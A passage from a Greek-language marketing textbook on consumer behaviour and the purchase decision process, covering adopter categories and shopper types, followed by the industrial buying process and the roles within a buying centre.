Από τα πολλαπλά διαφημιστικά μηνύματα με τα οποία βομβαρδίζονται οι καταναλωτές καθημερινά, συγκρατούν μόνο εκείνα για τα οποία έχουν ειδικό ενδιαφέρον και στη συνέχεια διαμορφώνουν συμπεριφορά ανάλογη με το περιεχόμενο του μηνύματος. Πχ. η μητέρα του προηγούμενου παραδείγματος συγκρατεί το διαφημιστικό μήνυμα της καινούργιας πάνας μωρού που θα διατηρήσει το μωρό της ακόμα στεγνότερο. Μια άλλη γυναίκα, που δεν είναι μητέρα, θα είναι εντελώς αδιάφορη για το μήνυμα αυτό. Ωστόσο, επειδή ενδιαφέρεται για την ομορφιά της, από τα εκατοντάδες διαφημιστικά μηνύματα που δέχεται καθημερινά, συγκρατεί το διαφημιστικό μήνυμα για την «X», κρέμα που προσφέρει λείανση στο δέρμα και μειώνει τις ρυτίδες. Επομένως, η επιλεκτική προσοχή είναι η τάση των ανθρώπων να απορρίπτουν την πλειοψηφία των πληροφοριών στις οποίες εκτίθενται. Αυτό σημαίνει ότι οι επιχειρήσεις πρέπει να προσπαθήσουν πάρα πολύ για να τραβήξουν την προσοχή του καταναλωτή. Ακόμα και τα ερεθίσματα τα οποία προσέχουν οι καταναλωτές, δε γίνονται πάντα δεκτά με τον επιθυμητό τρόπο. Κάθε άτομο προσαρμόζει τις εισερχόμενες πληροφορίες στο δικό του τρόπο σκέψης. Αυτή η επιλεκτική παραμόρφωση περιγράφει την τάση των ανθρώπων να ερμηνεύουν τις πληροφορίες με τρόπο που θα υποστηρίξει αυτό που ήδη πιστεύουν.

Στάση του Καταναλωτή Αναφέρεται στις διαρκείς ευνοϊκές ή δυσμενείς αξιολογήσεις, τα συναισθήματα και τις τάσεις ενός ατόμου προς κάποιο αντικείμενο ή κάποια ιδέα. Οι άνθρωποι τηρούν κάποια στάση προς στη θρησκεία, την πολιτική, την ένδυση, τη μουσική, τη διατροφή και πολλά άλλα. Οι στάσεις είναι δύσκολο να αλλάξουν. Έτσι, είναι προτιμότερο για μια επιχείρηση να προσπαθήσει να προσαρμόσει τα προϊόντα της προς τις υπάρχουσες στάσεις παρά να επιχειρήσει να τις αλλάξει.

Διαδικασία Λήψης Αποφάσεων Αγοράς Στην υποενότητα αυτή θα εξετάσουμε αρχικά τα πέντε στάδια της διαδικασία λήψης αποφάσεων για την αγορά καταναλωτικών προϊόντων. Στη συνέχεια θα συζητήσουμε τις εναλλακτικές προσεγγίσεις που υιοθετεί ο καταναλωτής κατά την επεξεργασία πληροφοριών και την αξιολόγηση μαρκών. Ο καταναλωτής καθημερινά βρίσκεται μπροστά από επιλογές προϊόντων και υπηρεσιών, συνήθως έχει περιορισμένους πόρους και έτσι αναλογίζεται… «Να αγοράσω ή να μην αγοράσω...». Η αγοραστική διαδικασία αρχίζει πολύ πριν την πραγματική αγορά και συνεχίζει για πολύ καιρό μετά την αγορά.

Το μάρκετινγκ οφείλει να κατανοήσει την διαδικασία λήψης αποφάσεων αγοράς ώστε να βρίσκεται δίπλα στον καταναλωτή σε όλα τα στάδια της αγοραστικής διαδικασίας. Η διαδικασία λήψης αποφάσεων για την αγορά καταναλωτικών προϊόντων χωρίζεται σε πέντε στάδια . Τα πρώτα τρία στάδια αντιπροσωπεύουν τη διαδικασία λήψης της απόφασης πριν την αγορά του προϊόντος ή της υπηρεσίας. Η αγορά πραγματοποιείται κατά το τέταρτο στάδιο, ενώ στο πέμπτο στάδιο γίνεται η αξιολόγηση των ωφελημάτων που αποκομίζει ο αγοραστής από τη χρήση του προϊόντος ή της υπηρεσίας που αγόρασε.

Τα Στάδια της Διαδικασίας Λήψης Αποφάσεων Αγοράς •

Αναγνώριση ανάγκης

•

Αναζήτηση και συλλογή πληροφοριών

•

Αξιολόγηση και επιλογή των εναλλακτικών λύσεων

•

Απόφαση αγοράς

•

Συμπεριφορά μετά την αγορά

1ο Στάδιο: Η αναγνώριση της ανάγκης Σε αυτό το στάδιο, ο καταναλωτής αντιλαμβάνεται ότι έχει ανάγκη να αγοράσει ένα συγκεκριμένο αγαθό ή υπηρεσία. Η ανάγκη αυτή μπορεί να είναι είτε αποτέλεσμα εσωτερικών ερεθισμάτων (πχ. πείνα, δίψα, ανάγκη για στέγαση κλπ.), είτε εξωτερικών ερεθισμάτων (πχ. διαφημιστικό μήνυμα, τάσεις της μόδας, προτροπή ενός οικείου προσώπου κλπ.). Σύμφωνα μάλιστα με τον Solomon, η αναγνώριση της ανάγκης προκύπτει κάθε φορά που ο καταναλωτής παρατηρεί μία σημαντική διαφορά ανάμεσα στην κατάσταση στην οποία βρίσκεται και στην ιδανική (για τον ίδιον) κατάσταση. Προκειμένου λοιπόν να γεφυρώσει αυτή τη διαφορά μεταξύ πραγματικότητας και ιδανικού, προβαίνει στην αγορά του επιθυμητού προϊόντος.

2ο Στάδιο: Η αναζήτηση πληροφοριών Στο συγκεκριμένο στάδιο, ο καταναλωτής προβαίνει στην αναζήτηση πληροφοριών σχετικών με το προϊόν που επιθυμεί να αγοράσει. Εάν το υπό εξέταση προϊόν εμπεριέχει υψηλό κίνδυνο (ρίσκο), είναι ακριβό, δυσεύρετο και άγνωστο για τον καταναλωτή, τότε ο τελευταίος θα προσπαθήσει να συγκεντρώσει όσο το δυνατόν περισσότερες πληροφορίες προκειμένου να λάβει την ορθή προς αυτόν αγοραστική

απόφαση. Τέτοιου είδους πληροφορίες έχουν να κάνουν με σύγκριση τιμών μεταξύ ομοειδών προϊόντων - μαρκών, εύρεση διαθέσιμων καταστημάτων, τεχνικές πληροφορίες σχετικές με το αντικείμενο κλπ. Σε αυτό το στάδιο, ο καταναλωτής διαθέτει πολλές πηγές πληροφοριών. Έτσι, στρέφεται σε άτομα που γνωρίζει ή/και εμπιστεύεται, ρωτάει τη γνώμη των πωλητών, διαβάζει τις απόψεις προηγούμενων χρηστών σε forums, μπαίνει στις ιστοσελίδες των εταιριών ή παρακολουθεί εντατικότερα τις συναφείς διαφημίσεις. Βέβαια, το συγκεκριμένο στάδιο παύει να υφίσταται εάν το προϊόν για το οποίο ενδιαφέρεται ο καταναλωτής είναι γνωστό στον ίδιο (το έχει αγοράσει και άλλες φορές στο παρελθόν) ή εάν πρόκειται για μία παρορμητική αγορά (το είδε, του άρεσε, το αγόρασε).

3ο Στάδιο: Η αξιολόγηση των εναλλακτικών επιλογών Στο στάδιο αυτό, το άτομο, έχοντας ήδη συλλέξει τις απαραίτητες πληροφορίες, ξεκινάει να τις επεξεργάζεται προκειμένου να καταλήξει στην τελική του απόφαση. Ωστόσο, ο τρόπος επεξεργασίας και αξιολόγησης των εναλλακτικών διαφέρει από καταναλωτή σε καταναλωτή. Έτσι, υπάρχουν άτομα που θα δαπανήσουν αρκετό χρόνο και ενέργεια, θα προβούν σε λεπτομερείς υπολογισμούς και θα δοκιμάσουν δείγματα προϊόντων πριν την τελική αγορά και άτομα που θα αξιολογήσουν σε μικρό ή και σε μηδενικό βαθμό τις εναλλακτικές και θα αρκεστούν απλά στη γνώμη των ατόμων του στενού τους κύκλου.

4ο Στάδιο: Η απόφαση για την αγορά Σε αυτό το στάδιο, το άτομο έχοντας ερευνήσει και αξιολογήσει τις διαθέσιμες επιλογές, είναι πλέον σε θέση να διαλέξει το κατάλληλο προϊόν/μάρκα και να λάβει την τελική του απόφαση (αγορά - μη αγορά, επαναγορά, είδος μάρκας κλπ).

5ο Στάδιο: Η συμπεριφορά μετά την αγορά Τρία είναι τα συναισθήματα που μπορεί να αισθανθεί ένας καταναλωτής μετά την αγορά ενός προϊόντος: Ικανοποίηση, ενθουσιασμό ή δυσαρέσκεια. Το ποια θα είναι τελικά η συμπεριφορά του ατόμου εξαρτάται από τη σχέση μεταξύ των προσδοκιών του (πριν την αγορά) και της αντιλαμβανόμενης επίδοσης του προϊόντος (μετά την αγορά). Στην περίπτωση που το προϊόν ανταποκριθεί πλήρως στις προσδοκίες του ατόμου, τότε κάνουμε λόγο για ικανοποιημένο πελάτη. Εάν το προϊόν υπερβεί τις προσδοκίες του, κάνουμε λόγο για ενθουσιασμένο πελάτη. Τέλος, εάν το προϊόν δεν συναντήσει τις φιλοδοξίες του καταναλωτή, έχουμε έναν δυσαρεστημένο

πελάτη, που κατά πάσα πιθανότητα δεν θα ξανα-εμπιστευτεί την εταιρία ή έστω τη συγκεκριμένη μάρκα.

Τύποι Λήψης Αποφάσεων Ανάλογα την περίπτωση αγοράς, ο καταναλωτής υιοθετεί κάποια από τις συμπεριφορές: 1) Συμπεριφορά Ρουτίνας, 2) Περιορισμένη λήψη απόφασης ή 3) Εκτεταμένη λήψη απόφασης

Η συμπεριφορά ρουτίνας χαρακτηρίζεται από: 1. Αγορές σε μάρκες που οι καταναλωτές είναι πιστοί, π.χ. στην ΙΟΝ αμυγδάλου. 2. Επαναλαμβανόμενες αγορές, όπως η αγορά τσιγάρων από τους καπνιστές. 3. Αυτή συμπεριφορά λέγεται και αυτόματη λήψη απόφασης, ή αλλιώς τακτική λήψη απόφασης και στην ουσία δεν περιλαμβάνει καμία απόφαση, δεν περιλαμβάνει ούτε καν την επιλογή της «μή-αγοράς». Η περιορισμένη λήψη απόφασης περιλαμβάνει περιορισμένη έρευνα, απλούς κανόνες λήψης, περιορισμένη αξιολόγηση μετά την αγορά και χαρακτηρίζεται από: 1. Καθιερωμένα κριτήρια αξιολόγησης. 2. Μικρές αλλαγές στη συμπεριφορά. 3. Για προϊόντα που αγοράζονται σχετικά τακτικά (π.χ. απορρυπαντικά). 4. Όταν παρουσιάζεται κάποια νέα μάρκα. Η εκτεταμένη λήψη απόφασης εφαρμόζεται από τον καταναλωτή όταν: •

Αξιολογεί διάφορες μάρκες του προϊόντος με λεπτομερή και διεξοδικό τρόπο (π.χ. αγορά αυτοκινήτου)

•

Απαιτούνται πολλές πληροφορίες

•

Πρέπει να καθιερωθούν συγκεκριμένα κριτήρια αξιολόγησης

Η εκτεταμένη λήψη απόφασης περιλαμβάνει ενεργή δράση για τη συγκέντρωση των απαιτούμενων πληροφοριών, αναλυτική έρευνα και σύνθετη αξιολόγηση πολλών εναλλακτικών. Αφορά προϊόντα: 1. Ακριβά προϊόντα. 2. Με μεγάλο κύκλο ζωής. 3. Προϊόντα υψηλού κινδύνου. 4. Με σημαντικό βαθμό ρίσκου. 5. Που απαιτείται μεγάλη προσπάθεια για την απόφαση.

Προσεκτική αξιολόγηση

Μετά την αγορά γίνεται προσεκτική αξιολόγηση και είναι πιθανές έντονες αμφιβολίες Επομένως, σε ορισμένες περιπτώσεις, ιδιαίτερα όταν πρόκειται για αγορές ρουτίνας, όπως για τις καθημερινές αγορές τροφίμων ή άλλων συναφών προϊόντων, όπου η διερεύνηση του αγοραστή είναι μικρή, ορισμένα από τα στάδια της διαδικασίας, που προαναφέρθηκε, παραλείπονται. Ο αγοραστής δηλαδή από την αναγνώριση της ανάγκης του περνάει κατ’ ευθείαν στην αγορά του προϊόντος. Ωστόσο, είναι σημαντικό για το μάρκετινγκ να είναι γνωστά όλα τα στάδια της διαδικασίας λήψης της αγοραστικής απόφασης και τις διεργασίες που πραγματοποιούνται σε αυτά, γιατί καθένα από αυτά αντιπροσωπεύει μια δυνατότητα επηρεασμού του καταναλωτή.

Κατηγορίες των Καταναλωτών Καθώς υπάρχουν σημαντικές διαφορές από άτομο σε άτομο όσον αφορά την ετοιμότητά τους δοκιμάσουν νέα προϊόντα, οι ειδικοί του μάρκετινγκ διακρίνουν τους καταναλωτές σε κατηγορίες, ανάλογα με την ταχύτητα που αποδέχονται τα νέα προϊόντα ή υπηρεσίες. Με βάση το κριτήριο της ταχύτητας αποδοχής των νέων προϊόντων ή υπηρεσιών, οι καταναλωτές διακρίνονται σε πέντε κατηγορίες. Οι καινοτόμοι είναι τολμηροί και δοκιμάζουν νέες ιδέες με κάποιο ρίσκο. Είναι συνήθως άτομα με υψηλή κοινωνική θέση, μεγάλα εισοδήματα και ανήκουν στην ανώτερη τάξη. Συνήθως έχουν καλή μόρφωση, ταξιδεύουν συχνά και διακρίνονται για την κοινωνικότητα και την αυτοπεποίθηση τους. Ακολουθούν τη μόδα και σπεύδουν να αγοράσουν κάθε νέο προϊόν ή υπηρεσία που τους μοιάζει ενδιαφέρον, συχνά χωρίς προηγουμένως να διερευνήσουν επαρκώς την αγορά. Όταν τα προϊόντα ή οι υπηρεσίες, που αγοράζουν, αρχίζουν να αγοράζονται από τη μεγάλη μάζα των καταναλωτών, τότε τα εγκαταλείπουν, για να αγοράσουν τα νεότερα προϊόντα και υπηρεσίες που μόλις εμφανίστηκαν στην αγορά. Αν ένα νέο προϊόν ή υπηρεσία δεν αγοραστεί πρώτα από τα άτομα που χαρακτηρίζονται καινοτόμοι, τότε είναι μάλλον απίθανο να αγοραστεί από τις άλλες κατηγορίες καταναλωτών και επομένως αρκετά πιθανό να αποτύχει.

Πρώιμα υιοθετούντες (Early adopters) Οι πρώιμα υιοθετούντες υιοθετούν νέες ιδέες νωρίς μεν, αλλά με προσοχή. Είναι άτομα με καλή μόρφωση, επιτυχημένα, συνήθως αυτοδημιούργητα και ανήκουν στη μεσο-ανώτερη κοινωνική τάξη.

Στην αγοραστική τους συμπεριφορά, όταν πρόκειται για νέα προϊόντα ή υπηρεσίες, υπάρχει μια διστακτικότητα να αγοράσουν ένα προϊόν ή μια υπηρεσία, αν προηγουμένως δεν το έχει αγοράσει κάποιος άλλος (καινοτόμος). Όταν διαπιστώσουν ότι οι καινοτόμοι αγοράζουν κάποιο νέο προϊόν, ακολουθούν αμέσως και είναι καθοδηγητές γνώμης(opinion leaders) για τους υπόλοιπους καταναλωτές.

Πρώιμη πλειοψηφία (Early majority) Είναι άτομα προσεκτικά αλλά υιοθετούν νέες ιδέες πριν από το μέσο καταναλωτή. Πρόκειται για άτομα με μικρότερα εισοδήματα και μόρφωση από τις προηγούμενες κατηγορίες. Τα άτομα αυτά ανήκουν στη μεσαία τάξη και είναι συνήθως μικρομεσαίοι επιχειρηματίες ή μεσαία στελέχη. Η αγοραστική τους συμπεριφορά επηρεάζεται από τους πρώιμα υιοθετούντες.

Όψιμη πλειοψηφία (Later majority) Είναι άτομα δύσπιστα που υιοθετούν μια καινοτομία μόνο αφού την έχει δοκιμάσει μια πλειοψηφία ανθρώπων. Πρόκειται για άτομα με περιορισμένη μόρφωση και εισοδήματα, που ανήκουν στην κατώτερη τάξη (εργάτες, υπάλληλοι κλπ). Λόγω των περιορισμένων εισοδημάτων τους η αγοραστική τους συμπεριφορά είναι συντηρητική. Αγοράζουν προϊόντα και υπηρεσίες που βρίσκουν σε χαμηλές τιμές και μόνο όταν τα έχει αγοράσει προηγουμένως μεγάλος αριθμός ατόμων. Οι υιοθετούντες αργά μια νέα ιδέα (Laggards) Λέγονται και τελευταίοι αποδέκτες ή ουραγοί επειδή ακολουθούν όλους τους παραπάνω. Είναι άτομα με πολύ περιορισμένη μόρφωση και εισόδημα. Αγωνίζονται καθημερινά για την επιβίωση τους. Αγοράζουν μόνο προϊόντα και υπηρεσίες που καλύπτουν τις άμεσες καθημερινές τους ανάγκες (τρόφιμα, ενδύματα, εισιτήρια μέσων μαζικής μεταφοράς κ.λπ.). Οι πελάτες μιας επιχείρησης ανάλογα με τη συχνότητα των αγορών που πραγματοποιούν από μια συγκεκριμένη επιχείρηση, μπορούν να χωριστούν στις εξής κατηγορίες: 1. Νέοι πελάτες. Είναι αυτοί που πραγματοποιούν αγορές από την επιχείρηση για πρώτη φορά. 2. Ευκαιριακοί πελάτες. Πρόκειται για πελάτες που πραγματοποιούν κατά καιρούς αγορές από την επιχείρηση χωρίς οι συναλλαγές τους να έχουν συγκεκριμένη περιοδικότητα.

3. Τακτικοί πελάτες. Είναι οι πελάτες που πραγματοποιούν αγορές συνήθως σε τακτά χρονικά διαστήματα (εβδομάδα, μήνα κ.λπ.). 4. Πιστοί πελάτες. Είναι οι πελάτες που συνηθίζουν να πραγματοποιούν τις αγορές τους από μια επιχείρηση για πολύ μεγάλο χρονικό διάστημα. 5. Χαμένοι πελάτες. Είναι οι πελάτες που έπαψαν να πραγματοποιούν αγορές από την επιχείρηση, είτε μετά την πρώτη αγορά τους, είτε μετά από μια μακρά περίοδο συναλλαγών με την επιχείρηση. 6. Ανακτηθέντες πελάτες. Είναι οι πελάτες που διέκοψαν τις συναλλαγές τους με μια επιχείρηση και μετά από ένα ορισμένο διάστημα επανήλθαν, είτε με δική τους πρωτοβουλία (γιατί π.χ. δεν τους ικανοποίησε ο νέος προμηθευτής τους), είτε με πρωτοβουλία της επιχείρησης (π.χ. προσπάθειες του τμήματος πωλήσεων για την ανάκτηση του πελάτη). Οι αγοραστές καταναλωτικών προϊόντων και υπηρεσιών, ανάλογα με τις συνήθειες τους και τη συμπεριφορά που εκδηλώνουν στη διάρκεια των αγορών τους, διακρίνονται στις εξής κατηγορίες: 1. Βολικοί αγοραστές (Agreeable shoppers). Είναι άτομα ευάλωτα στη διαφήμιση και συνηθίζουν να πραγματοποιούν τις αγορές τους σε εκπτωτικά καταστήματα (discount stores). 2. Πρακτικοί αγοραστές (Practical shoppers). Πρόκειται για αγοραστές που ερευνούν σχολαστικά την αγορά, όταν πρόκειται να αγοράσουν κάποιο προϊόν ή υπηρεσία. Συνήθως αγοράζουν από καταστήματα που κάνουν εκπτώσεις σε επώνυμα προϊόντα. 3. Μοντέρνοι αγοραστές (Modern shoppers). Πραγματοποιούν αυθόρμητες αγορές. Ακολουθούν πιστά τη μόδα. Αγοράζουν συνήθως από μεμονωμένα καταστήματα και όχι από πολυκαταστήματα. 4. Αγοραστές αξίας (Value shoppers). Δίνουν σημασία στις τιμές των προϊόντων. Πιστεύουν ότι τα καλά προϊόντα είναι αυτά που αντέχουν στο χρόνο. Συνήθως αγοράζουν από πολυκαταστήματα που έχουν μέσο επίπεδο τιμών. 5. Αγοραστές ποιότητας (Top-of-the line shoppers). Αναζητούν, πρώτα απ’ όλα, την ποιότητα και είναι διατεθειμένοι να πληρώσουν περισσότερα χρήματα για να αγοράσουν ποιοτικά προϊόντα. Αγοράζουν οπό πολυκαταστήματα που διακρίνονται για την ποιότητα των προϊόντων τους. 6. Ασφαλείς αγοραστές (Safe shoppers). Αγοράζουν προϊόντα και υπηρεσίες που τους κάνουν να αισθάνονται άνετα με τις αγορές τους. Συνήθως αγοράζουν από γνωστά διεθνή καταστήματα που κάνουν μαζικές πωλήσεις.(π.χ. H&M)

7. Αγοραστές κύρους (Status shoppers). Αγοράζουν πάντα επώνυμα προϊόντα από επώνυμα καταστήματα.

Η Αγοραστική Διαδικασία Βιομηχανικών ή Επιχειρησιακών Προϊόντων H γνώση της συμπεριφοράς των βιομηχανικών αγοραστών αποτελεί σπουδαίο στοιχείο για την επιτυχή πραγματοποίηση της πώλησης αγαθών και υπηρεσιών σε αυτούς. O ανταγωνισμός στη βιομηχανική αγορά είναι οξύς και γι' αυτό θα πρέπει να γνωρίζουμε καλά πως και γιατί αγοράζει ο βιομηχανικός πελάτης. Ακόμη και φαινομενικά ασήμαντα στοιχεία επηρεάζουν την επιτυχία ενός συγκεκριμένου βιομηχανικού μίγματος μάρκετινγκ. Οι βιομηχανικοί πωλητές (industrial marketers) θα πρέπει να κάνουν το παν για να κατανοήσουν τις ανάγκες των οργανισμών που αγοράζουν, τους διαθέσιμους πόρους, την πολιτική του οργανισμού και τις διαδικασίες για τη λήψη της απόφασης αγοράς που υφίστανται μέσα στον οργανισμό. Θα πρέπει εξάλλου να λάβουν υπόψη τους πολλούς παράγοντες που δεν υπάρχουν στο μάρκετινγκ των καταναλωτικών. O βιομηχανικός αγοραστής αγοράζει προϊόντα και υπηρεσίες χρησιμοποιώντας ορθολογικά κριτήρια και όχι συναισθηματικά, επιδιώκοντας: την αύξηση των πωλήσεων του, τη μείωση του κόστους, την κάλυψη απαιτήσεων της κοινωνίας και της νομοθεσίας. Δεδομένου ότι οι οργανισμοί (συμπεριλαμβάνονται και οι επιχειρήσεις) αγοράζουν αγαθά και υπηρεσίες ως εισροές δηλ. προκειμένου να επιτύχουν κάποιους οργανωσιακούς στόχους, ιδιαίτερη σημασία αποδίδουν στη λειτουργικότητα και την οικονομικότητα.

Οι βασικοί τύποι βιομηχανικών αγορών / προμηθειών είναι: 1. Αγορές / προμήθειες ρουτίνας (απ’ ευθείας επαναγορά). 2. Τροποποιημένη επαναγορά. 3. Νέες αγορές / προμήθειες.

Οι παράγοντες που επηρεάζουν την αγοραστική συμπεριφορά των βιομηχανικών αγοραστών είναι πολλαπλοί: 1. Περιβαλλοντικές: •

Οικονομικές εξελίξεις

•

Συνθήκες προμήθειας

•

Τεχνολογική αλλαγή

•

Πολιτικές εξελίξεις

•

Ανταγωνισμός

•

Πολιτισμός και έθιμα

2. Οργανωτικές: •

Στόχοι

•

Πολιτικές

•

Διαδικασίες

•

Οργανωτική δομή

•

Συστήματα

3. Διαπροσωπικές: •

Εξουσία

•

Κύρος

•

Εμπάθεια

•

Πειστικότητα

4. Προσωπικές: •

Ηλικία

•

Μόρφωση

•

Θέση εργασίας

•

Προσωπικότητα

•

Στάση απέναντι στον κίνδυνο

Χαρακτηριστικά Γνωρίσματα των Βιομηχανικών ή Επιχειρησιακών Αγορών Οι βιομηχανικές ή επιχειρησιακές αγορές έχουν τα παρακάτω χαρακτηριστικά γνωρίσματα συγκριτικά με τις καταναλωτικές αγορές: Δυσκολία αναγνώρισης των πραγματικών και "δυνητικών" αγοραστών- πελατών, η οποία εξαρτάται από το είδος του βιομηχανικού προϊόντος. Έτσι, αν πρόκειται για χαρτί τσιγάρου, λίγο-πολύ είναι γνωστές οι καπνοβιομηχανίες όπου πρέπει να απευθυνθεί ο παραγωγός. Κατά συνέπεια ο πελάτης είναι εύκολα αναγνωρίσιμος. Αν όμως μιλάμε για Η/Υ που έχουν ένα ευρύ φάσμα χρήσης (σχολεία, νοσοκομεία, κυβερνητικές υπηρεσίες μέχρι εργοστάσια, επιχειρήσεις παροχής υπηρεσιών), τότε είναι πολύ δύσκολο να αναγνωρισθούν και να στοχευτούν οι πελάτες. Λιγότεροι αγοραστές. Ο αριθμός των αγοραστών βιομηχανικών προϊόντων είναι συνήθως περιορισμένος, γιατί πρόκειται για συγκεκριμένες επιχειρήσεις ή οργανισμούς που έχουν ανάγκη τα συγκεκριμένα προϊόντα (π.χ. αγοραστές εξοπλισμού λιγνιτωρυχείων).

Μεγαλύτεροι αγοραστές οι οποίοι συγκεντρώνουν μεγάλη αγοραστική δύναμη. Στενές σχέσεις και αλληλεξάρτηση μεταξύ προμηθευτή – πελάτη. Ο αγοραστής είναι εξαρτημένος από τον προμηθευτή, γιατί χρειάζεται τεχνική υποστήριξη και εκπαίδευση και ο προμηθευτής είναι εξαρτημένος από τον αγοραστή, γιατί οι αγορές του είναι μεγάλης κλίμακας και συχνά εξατομικευμένες. Γεωγραφική συγκέντρωση αγοραστών, π.χ. σε περιοχές συγκέντρωσης βιομηχανικών κλάδων και γενικότερα βιομηχανικής δραστηριότητας. Παράγωγος ζήτηση. Η ζήτηση για προϊόντα των βιομηχανικών αγορών εξαρτάται από τη ζήτηση των τελικών προϊόντων στα οποία ενσωματώνονται. Π.χ., η ζήτηση διαφόρων εξαρτημάτων αυτοκινήτων εξαρτάται από τη ζήτηση αυτοκινήτων Ανελαστική ζήτηση ως προς τις τιμές. Αυτό σημαίνει ότι η ζήτησή τους δεν επηρεάζεται σε μεγάλο βαθμό από τις αλλαγές των τιμών. Π.χ., η αλλαγή στις τιμές των μηχανολογικών εξαρτημάτων που χρησιμοποιεί ένα εργοστάσιο δεν θα επηρεάσει τη ζήτησή τους, γιατί η χρήση τους είναι απαραίτητη για τη λειτουργία του εργοστασίου. Προώθηση κυρίως μέσω προσωπικής πώλησης καθώς συνήθως πρόκειται για προϊόντα τεχνολογίας που προορίζονται για ειδικές χρήσεις. Στις περιπτώσεις αυτές είναι σημαντικός ο ρόλος του πωλητή, γιατί ενεργεί ως σύμβουλος του πελάτη. Κατά συνέπεια, ο ρόλος της διαφήμισης και των άλλων ενεργειών προώθησης αποδυναμώνεται. Πολύπλοκη διαδικασία αγοράς. Ακολουθείται επαγγελματική αγοραστική πρακτική όπου ειδικά καταρτισμένοι επαγγελματίες ή εξειδικευμένες αγοραστικές επιτροπές ακολουθούν περιορισμούς και απαιτήσεις προκειμένου να προβούν σε αγορές (π.χ. διακήρυξη μειοδοτικών διαγωνισμών, διαδικασίες αξιολόγησης, συμβάσεις). Ο κύκλος πώλησης (ή η αντίστοιχη διεργασία αγοράς) έχει συνήθως μεγαλύτερη διάρκεια. Άμεση προμήθεια από τον κατασκευαστή (χωρίς ενδιαμέσους ή μεσάζοντες) ειδικά για αγορές τεχνικά σύνθετων και ακριβών προϊόντων Αμοιβαιότητα. Πολλές φορές, οι αγοραστές επιλέγουν προμηθευτές οι οποίοι και αυτοί αγοράζουν προϊόντα από αυτούς. Επομένως, στις βιομηχανικές αγορές η αγοραστική διαδικασία εμπεριέχει επαγγελματισμό και οργανωμένη διαδικασία απόφασης η οποία λαμβάνεται από το Κέντρο Αγοραστικών Αποφάσεων (Κ.Α.Α.). Αυτό περιλαμβάνει όλα τα μέλη του οργανισμού που συμμετέχουν στην αγοραστική απόφαση, από όλες τις λειτουργίες του οργανισμού και έχει ως βασικό σκοπό τη συγκέντρωση και την επεξεργασία των πληροφοριών που σχετίζονται με την αγορά προϊόντων ή υπηρεσιών για την επιχείρηση.

Κέντρο Αγοραστικών Αποφάσεων Οι Χρήστες (Users): Τα άτομα που θα χρησιμοποιήσουν το προϊόν ή την υπηρεσία που θα αγοράσει ο οργανισμός Οι Φύλακες ή Ελεγκτές ροής πληροφοριών στο Κ.Α.Α.(Gatekeepers): Τα άτομα αυτά ελέγχουν την πληροφόρηση που δέχονται τα άλλα μέλη του Κ.Α.Α.. Ο έλεγχος αυτός μπορεί να πάρει τη μορφή είτε της διανομής πληροφοριακού υλικού και διαφημιστικών μηνυμάτων είτε της ρύθμισης ποιος πωλητής θα πλησιάσει το Κ.Α.Α. Οι Επηρεάζοντας (Influencers): Τα άτομα αυτά επηρεάζουν την αγοραστική απόφαση προσφέροντας πληροφορίες για την αξιολόγηση εναλλακτικών προϊόντων και προμηθευτών ή θέτοντας τις αγοραστικές προδιαγραφές. Οι Αποφασίζοντες (Deciders ή Decision Makers): Τα άτομα του οργανισμού που έχουν την επίσημη ή ανεπίσημη εξουσία να επιλέξουν ή να εγκρίνουν τους τελικούς προμηθευτές. Είναι αυτονόητο ότι αυτά τα άτομα είναι εξέχουσας σημασίας για την τελική απόφαση αγοράς και καλούνται να λαμβάνουν τις καλύτερες δυνατές αποφάσεις για τα συμφέροντα της επιχείρησης. Κάθε καλός πωλητής φροντίζει να γνωρίζει ποια από μέλη του Κ.Α.Α. αποτελούν τους αποφασίζοντες ώστε να καλύψει όλα τα ερωτήματα τους και να καθησυχάσει τυχόν σημεία ανησυχίας ή αμφιβολίας τους για την αγορά του προϊόντος που ο πωλητής προτείνει. Οι Αγοραστές (Buyers): Τα άτομα που έχουν την επίσημη αρμοδιότητα της επιλογής του προμηθευτή και του καθορισμού των όρων της αγοράς (π.χ. Υπεύθυνος Αγορών).

Αναγνώριση του προβλήματος Κατά το πρώτο στάδιο της διαδικασίας γίνεται αναγνώριση του προβλήματος ή μίας δυνητικής ευκαιρίας και αποτελεί την αφετηρία της αγοραστικής διαδικασίας μέσα στον οργανισμό. Η αναγνώριση του προβλημάτων μπορεί να είναι αποτέλεσμα εσωτερικών ή εξωτερικών ερεθισμάτων ή μιας διαδικασίας ρουτίνας, όπως είναι: •

η μείωση των αποθεμάτων πρώτων υλών και η απαιτούμενη αναπλήρωση τους

•

μια νέα θεώρηση των πραγμάτων που επιβάλλει π.χ. μείωση κόστους ή βελτίωση της ποιότητας των προϊόντων

•

ένα τυχαίο γεγονός, όπως η βλάβη ενός μηχανήματος

Καθορισμός των προδιαγραφών και της απαιτούμενης ποσότητας

Αυτό το στάδιο αποτελεί τη γενική περιγραφή της ανάγκης και τον προσδιορισμό του τρόπου με τον οποίο θα καλυφθεί η ανάγκη. Π.χ. ανάλογα με την έκταση της βλάβης ενός μηχανήματος απαιτείται συνεργασία με τον προμηθευτή για την επισκευή του ή αντικατάσταση του με άλλο νεότερο και πιο εξελιγμένο μοντέλο.

Περιγραφή των προδιαγραφών και της απαιτούμενης ποσότητας Στο στάδιο αυτό γίνεται επακριβής και λεπτομερής καταγραφή των τεχνικών προδιαγραφών των μέσων που απαιτούνται για την ικανοποίηση της ανάγκης ή τη λύση του προβλήματος, έτσι ώστε να είναι εύκολα αντιληπτό από τους ενδιαφερόμενους το τι ακριβώς ζητάει η επιχείρηση. Π.χ. αν η ανάγκη αφορά στη βελτίωση του πληροφοριακού συστήματος μιας επιχείρησης, ορίζονται οι τεχνικές προδιαγραφές των υπολογιστών (hardware) και του απαιτούμενου λογισμικού (software).

Ανεύρεση και αξιολόγηση πιθανών προμηθευτών Εντοπίζονται οι υποψήφιοι προμηθευτές (συχνά ονομάζεται short list), οι οποίοι μπορούν να προσφέρουν προϊόντα ή υπηρεσίες που ανταποκρίνονται στις προκαθορισμένες προδιαγραφές και κρίνονται κατάλληλοι για την κάλυψη της συγκεκριμένης ανάγκης.

Συγκέντρωση και ανάλυση προσφορών Οι προμηθευτές καλούνται να εκδηλώσουν το ενδιαφέρον τους και να υποβάλουν τις προτάσεις τους και τις οικονομικές προσφορές τους για την προμήθεια των συγκεκριμένων προϊόντων ή υπηρεσιών. Απαιτούνται άρτιες γραμμένες προσφορές , που να καλύπτουν τις προκαθορισμένες προδιαγραφές, και σειρά παρουσιάσεων / συναντήσεων.

